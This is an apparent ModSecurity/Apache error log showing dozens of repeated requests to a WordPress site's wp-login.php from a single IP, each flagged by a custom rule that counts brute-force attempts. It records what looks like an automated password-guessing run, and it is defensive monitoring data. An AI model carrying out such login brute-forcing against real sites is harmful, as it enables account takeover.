[Fri Feb 27 04:38:37.736955 2026] [:error] [pid 21329:tid 21384] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvTZvQWnde-MjcQ1FWLwAAAUE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:41.031620 2026] [:error] [pid 21329:tid 21395] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvUZvQWnde-MjcQ1FWMgAAAUw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:42.704985 2026] [:error] [pid 21329:tid 21401] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvUpvQWnde-MjcQ1FWNAAAAVI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:45.827928 2026] [:error] [pid 21329:tid 21390] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvVZvQWnde-MjcQ1FWOwAAAUc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:47.318936 2026] [:error] [pid 21329:tid 21388] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvV5vQWnde-MjcQ1FWPgAAAUU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:50.388896 2026] [:error] [pid 21329:tid 21394] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvWpvQWnde-MjcQ1FWQgAAAUs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:51.752858 2026] [:error] [pid 21329:tid 21396] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvW5vQWnde-MjcQ1FWRgAAAU0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:54.654677 2026] [:error] [pid 21329:tid 21395] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvXpvQWnde-MjcQ1FWSgAAAUw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:56.067253 2026] [:error] [pid 21329:tid 21401] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvYJvQWnde-MjcQ1FWSwAAAVI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:38:58.996328 2026] [:error] [pid 21329:tid 21390] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvYpvQWnde-MjcQ1FWTwAAAUc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:00.387206 2026] [:error] [pid 21329:tid 21407] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvZJvQWnde-MjcQ1FWUAAAAVg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:04.355611 2026] [:error] [pid 21329:tid 21400] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvaJvQWnde-MjcQ1FWVAAAAVE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:05.911307 2026] [:error] [pid 21329:tid 21396] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvaZvQWnde-MjcQ1FWWAAAAU0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:09.392053 2026] [:error] [pid 21329:tid 21391] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvbZvQWnde-MjcQ1FWXQAAAUg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:10.818252 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvbpvQWnde-MjcQ1FWYAAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:13.716377 2026] [:error] [pid 21329:tid 21407] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvcZvQWnde-MjcQ1FWZAAAAVg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:15.269220 2026] [:error] [pid 21329:tid 21384] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvc5vQWnde-MjcQ1FWawAAAUE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:18.719844 2026] [:error] [pid 21329:tid 21406] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvdpvQWnde-MjcQ1FWcgAAAVc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:20.346088 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCveJvQWnde-MjcQ1FWcwAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:23.403829 2026] [:error] [pid 21329:tid 21386] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCve5vQWnde-MjcQ1FWdwAAAUM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:24.833845 2026] [:error] [pid 21329:tid 21402] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvfJvQWnde-MjcQ1FWfQAAAVM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:28.230762 2026] [:error] [pid 21329:tid 21406] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvgJvQWnde-MjcQ1FWhgAAAVc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:29.710206 2026] [:error] [pid 21329:tid 21392] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvgZvQWnde-MjcQ1FWiQAAAUk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:32.799132 2026] [:error] [pid 21329:tid 21400] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvhJvQWnde-MjcQ1FWkgAAAVE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:34.264617 2026] [:error] [pid 21329:tid 21399] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvhpvQWnde-MjcQ1FWlQAAAVA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:37.300827 2026] [:error] [pid 21329:tid 21400] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCviZvQWnde-MjcQ1FWpgAAAVE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:38.741885 2026] [:error] [pid 21329:tid 21395] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvipvQWnde-MjcQ1FWsgAAAUw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:41.837259 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvjZvQWnde-MjcQ1FWvAAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:43.350696 2026] [:error] [pid 21329:tid 21403] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvj5vQWnde-MjcQ1FWxwAAAVQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:46.680974 2026] [:error] [pid 21329:tid 21384] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvkpvQWnde-MjcQ1FWzAAAAUE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:48.106272 2026] [:error] [pid 21329:tid 21404] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvlJvQWnde-MjcQ1FWzQAAAVU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:51.182669 2026] [:error] [pid 21329:tid 21385] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvl5vQWnde-MjcQ1FWzwAAAUI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:52.687130 2026] [:error] [pid 21329:tid 21406] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvmJvQWnde-MjcQ1FW0AAAAVc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:55.652018 2026] [:error] [pid 21329:tid 21383] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvm5vQWnde-MjcQ1FW0gAAAUA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:39:57.028372 2026] [:error] [pid 21329:tid 21388] [client 141.98.11.209:62372] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvnZvQWnde-MjcQ1FW1AAAAUU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:00.758659 2026] [:error] [pid 42658:tid 42680] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvoIzcoYl3nRbu1jZQeAAAAhQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:02.283443 2026] [:error] [pid 42658:tid 42660] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvoozcoYl3nRbu1jZQigAAAgA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:05.740116 2026] [:error] [pid 42658:tid 42683] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvpYzcoYl3nRbu1jZQuAAAAhc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:07.280038 2026] [:error] [pid 42658:tid 42663] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvp4zcoYl3nRbu1jZQxAAAAgM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:10.798840 2026] [:error] [pid 42658:tid 42682] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvqozcoYl3nRbu1jZQ4QAAAhY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:12.384037 2026] [:error] [pid 42658:tid 42679] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvrIzcoYl3nRbu1jZQ7AAAAhM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:15.763066 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvr4zcoYl3nRbu1jZQ9gAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:18.716027 2026] [:error] [pid 42658:tid 42669] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvsozcoYl3nRbu1jZRBAAAAgk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:21.867470 2026] [:error] [pid 42658:tid 42679] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvtYzcoYl3nRbu1jZRIwAAAhM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:23.529006 2026] [:error] [pid 42658:tid 42681] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvt4zcoYl3nRbu1jZRMAAAAhU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:27.494013 2026] [:error] [pid 42658:tid 42663] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvu4zcoYl3nRbu1jZRSAAAAgM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:29.094725 2026] [:error] [pid 42658:tid 42664] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvvYzcoYl3nRbu1jZRUgAAAgQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:33.377800 2026] [:error] [pid 42658:tid 42663] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvwYzcoYl3nRbu1jZRcAAAAgM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:35.802144 2026] [:error] [pid 42658:tid 42680] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvw4zcoYl3nRbu1jZRgQAAAhQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:40.675921 2026] [:error] [pid 42658:tid 42679] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvyIzcoYl3nRbu1jZRjgAAAhM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:42.373703 2026] [:error] [pid 42658:tid 42664] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvyozcoYl3nRbu1jZRkwAAAgQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:45.988057 2026] [:error] [pid 42658:tid 42673] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvzYzcoYl3nRbu1jZRpgAAAg0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Fri Feb 27 04:40:47.484123 2026] [:error] [pid 42658:tid 42666] [client 141.98.11.209:62999] [client 141.98.11.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.209, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaCvz4zcoYl3nRbu1jZRqgAAAgY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
